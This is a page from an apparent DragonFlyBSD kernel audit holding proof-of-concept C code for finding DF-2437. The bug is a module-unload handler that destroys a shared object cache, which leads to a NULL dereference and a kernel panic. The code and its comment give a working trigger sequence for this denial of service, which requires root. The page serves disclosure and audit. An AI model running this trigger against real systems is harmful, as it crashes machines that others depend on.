DragonFlyBSD Kernel Audit
DF-2437 / poc.c
← back to finding ↓ download raw
/*
 * DF-2437 PoC -- dm_target_delay module-unload handler destroys shared objcache.
 *
 * Bug (sys/dev/disk/dm/delay/dm_target_delay.c, dmtd_mod_handler):
 *
 *   440: case MOD_UNLOAD:
 *   441:     err = dm_target_remove("delay");
 *   442:     if (err == 0)
 *   443:         kprintf("dm_target_delay: unloaded\n");
 *   444:     _objcache_destroy();     <-- UNCONDITIONAL!
 *   445:     break;
 *
 * _objcache_destroy() (line 403-410) runs regardless of whether
 * dm_target_remove succeeded. When dm_target_remove returns EBUSY (because
 * a delay device is still active -- the target's ref_cnt > 0 from the table
 * entry), the obj_cache is STILL destroyed and set to NULL. The handler
 * returns EBUSY so the module is NOT unloaded, but the objcache is gone.
 *
 * The delay target's _strategy (line 245) then calls
 * objcache_get(obj_cache=NULL, ...) -> dereferences NULL at
 * kern_objcache.c:429 (struct percpu_objcache *cpucache =
 *     &oc->cache_percpu[mycpuid]) -> NULL page fault -> panic.
 *
 * The delay target's kernel _thread also calls objcache_put(NULL, ...) via
 * _submit_queue (line 307) when processing buffered I/O -> same crash.
 *
 * Trigger sequence:
 *   1. kldload dm; kldload dm_target_delay
 *   2. create a delay dm device with a table (delay > 0) and resume it
 *   3. start background I/O on the delay device (fills the delay queue)
 *   4. kldunload dm_target_delay  -> objcache destroyed (EBUSY returned,
 *      module stays loaded, but obj_cache == NULL)
 *   5. subsequent I/O or the delay thread -> objcache_get/put(NULL) -> panic
 *
 * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator
 * (device-mapper.c:181) and dm modules must be kldload-ed by root. This PoC
 * runs as root. No unprivileged path. This is a root->kernel DoS / NULL-deref
 * with no write primitive (valid hard blocker for uid0).
 *
 * Build:  cc -O2 -o poc poc.c -lprop
 * Run:    ./run.sh   (as root)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV	"/dev/mapper/control"
#define DEV_NAME	"df2437"
#define DM_DISK_DEV	"/dev/mapper/" DEV_NAME
#define UNDERLYING_DEV	"/dev/md0"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_create(void)
{
	prop_dictionary_t dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_remove(void)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_reload_delay(void)
{
	prop_dictionary_t dict, target_dict;
	prop_array_t cmd_data;
	char params[256];
	int rv;

	/* delay params: <dev> <offset> <delay_ms> -- 100ms read delay */
	snprintf(params, sizeof(params), "%s 0 100", UNDERLYING_DEV);

	dict = new_dm_dict("reload");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	cmd_data = prop_array_create();
	target_dict = prop_dictionary_create();
	prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "delay");
	prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0);
	prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 2097152);
	prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params);
	prop_array_add(cmd_data, target_dict);
	prop_object_release(target_dict);
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
	prop_object_release(cmd_data);

	rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_resume(void)
{
	prop_dictionary_t dict = new_dm_dict("resume");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_suspend(void)
{
	prop_dictionary_t dict = new_dm_dict("suspend");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

int
main(int argc, char **argv)
{
	int rv;

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV,
		    strerror(errno));
		fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
		return 1;
	}

	if (argc > 1 && strcmp(argv[1], "setup") == 0) {
		printf("[*] DF-2437 setup: create + reload + resume delay device\n");
		(void)do_remove();
		rv = do_create();
		if (rv != 0 && rv != EEXIST) {
			fprintf(stderr, "[!] create rv=%d (%s)\n", rv,
			    strerror(rv));
			return 1;
		}
		rv = do_reload_delay();
		if (rv != 0) {
			fprintf(stderr, "[!] reload rv=%d (%s)\n", rv,
			    strerror(rv));
			return 1;
		}
		rv = do_resume();
		if (rv != 0) {
			fprintf(stderr, "[!] resume rv=%d (%s)\n", rv,
			    strerror(rv));
			return 1;
		}
		printf("[*] delay device '%s' is now ACTIVE with 100ms delay\n",
		    DEV_NAME);
		printf("[*] device accessible at %s\n", DM_DISK_DEV);
		return 0;
	}

	if (argc > 1 && strcmp(argv[1], "teardown") == 0) {
		printf("[*] teardown: suspend + remove delay device\n");
		(void)do_suspend();
		(void)do_remove();
		return 0;
	}

	fprintf(stderr, "usage: %s setup|teardown\n", argv[0]);
	return 1;
}